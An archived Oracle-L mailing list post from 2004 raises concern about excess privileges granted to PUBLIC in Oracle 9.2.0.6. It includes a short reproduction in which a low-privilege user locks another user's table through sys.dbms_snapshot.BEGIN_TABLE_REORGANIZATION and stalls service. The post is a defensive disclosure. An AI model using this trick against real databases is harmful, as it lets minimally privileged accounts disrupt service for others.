Oracle FAQ Your Portal to the Oracle Knowledge Grid
HOME | ASK QUESTION | ADD INFO | SEARCH | E-MAIL US
 

Home -> Community -> Mailing Lists -> Oracle-L -> Still too many privileges granted to PUBLIC in 9.2.0.6

Still too many privileges granted to PUBLIC in 9.2.0.6

From: Van Winssen, Andre A SITI-ITIBHW5 <Andre.VanWinssen_at_shell.com>
Date: Tue, 16 Nov 2004 08:31:03 +0100
Message-ID: <5539FB0922D5E544B12A031DBD255E5502286E81@rijpat-s-346.europe.shell.com>


Lectori Salutem,
after the NIGHTMARE we had over here with applying patches for security alert #68 (hundreds of them) we started thinking more about 'hacking' and what else could cause database service disruptions. One of the things I am still worried about are to GRANTS to public after a database creation (9.2.0.6). See below:
SQL> L
  1 select privilege,owner,count(*) from dba_tab_privs   2* where grantee='PUBLIC' and owner='SYS' group by privilege,owner SQL> /

PRIVILEGE            OWNER                  COUNT(*)
-------------------- -------------------- ----------
DEBUG                SYS                          12
UNDER                SYS                           1
DELETE               SYS                           3
INSERT               SYS                           4
SELECT               SYS                         776
UPDATE               SYS                           2
EXECUTE              SYS                         443

A little test shows how easy it is to disrupt database service using a login that merely has create session priv.

  1. create user test identified by dom; grant create session to test;
  2. create user testdba identified by slim; grant connect,dba to testdba;
  3. connect testdba/slim create table tabje (c1 number); insert into tabje values (1); commit; select * from tabje;
    >> row returned
  4. start another session: connect test/dom exec sys.dbms_snapshot.BEGIN_TABLE_REORGANIZATION('TESTDBA','TABJE')

If TESTDBA in 4) tries to rerun the select now it hangs and never returns until user TEST in step 4 does commit or rollback

Fortunately this fails for objects required for warmstarting the database like SYS.OBJ$. ".ORA-00701: object necessary for warmstarting database cannot be altered"

I am quite sure that a little research in the list of sys owned plsql objects for which the grantee is PUBLIC will demonstrate more possibilities.

Please share comments.     

Kind regards,

André van Winssen

--
http://www.freelists.org/webpage/oracle-l
Received on Tue Nov 16 2004 - 01:26:40 CST

Original text of this message

HOME | ASK QUESTION | ADD INFO | SEARCH | E-MAIL US